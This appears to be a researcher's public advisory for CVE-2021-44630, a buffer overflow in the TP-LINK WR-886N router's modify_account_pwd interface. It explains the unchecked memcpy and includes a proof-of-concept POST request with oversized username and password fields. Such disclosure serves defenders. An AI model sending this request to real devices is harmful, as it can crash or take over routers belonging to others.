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CVE-2021-44630: IoT_CVE/886N/modifyAccPwdRegister at main · Yu3H0/IoT_CVE
A Buffer Overflow vulnerability exists in TP-LINK WR-886N 20190826 2.3.8 in the /cloud_config/router_post/modify_account_pwd feature, which allows malicious users to execute arbitrary code on the system via a crafted post request.
TP-LINK WR-886N Vulnerability
This vulnerability is on the /cloud_config/router_post/modify_account_pwd interface and affects the latest version of the router operating system (which is a different RTOS system from the linux operating system), and the firmware version is TL-WR886N V6.0 upgrade software 20190826 2.3.8
Vulnerability description
There is a buffer overflow vulnerability on the /cloud_config/router_post/modify_account_pwd interface.
- An interface
/cloud_config/router_post/modify_account_pwdis registered first in the modifyAccPwdRegister function.
- In the handler, the v7 variable is the
usernamefield in the packet, and the v9 variable is theold_pwdfield in the packet,and the v11 variable is thenew_pwdfield in the packet. Then directly memcpy to the a3 variable refers to the address space, there is a buffer overflow problem.
poc
POST /cloud_config/router_post/modify_account_pwd HTTP/1.1
Host: 192.168.0.1
Content-Length: 717
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded;
Accept: */*
Origin: http://192.168.0.1
Referer: http://192.168.0.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&old_pwd=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&new_pwd=cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
Acknowledgment
Credit to @Yu3H0 ,@leonW7, @cpegg from Shanghai Jiao Tong University and TIANGONG Team of Legendsec at Qi’anxin Group.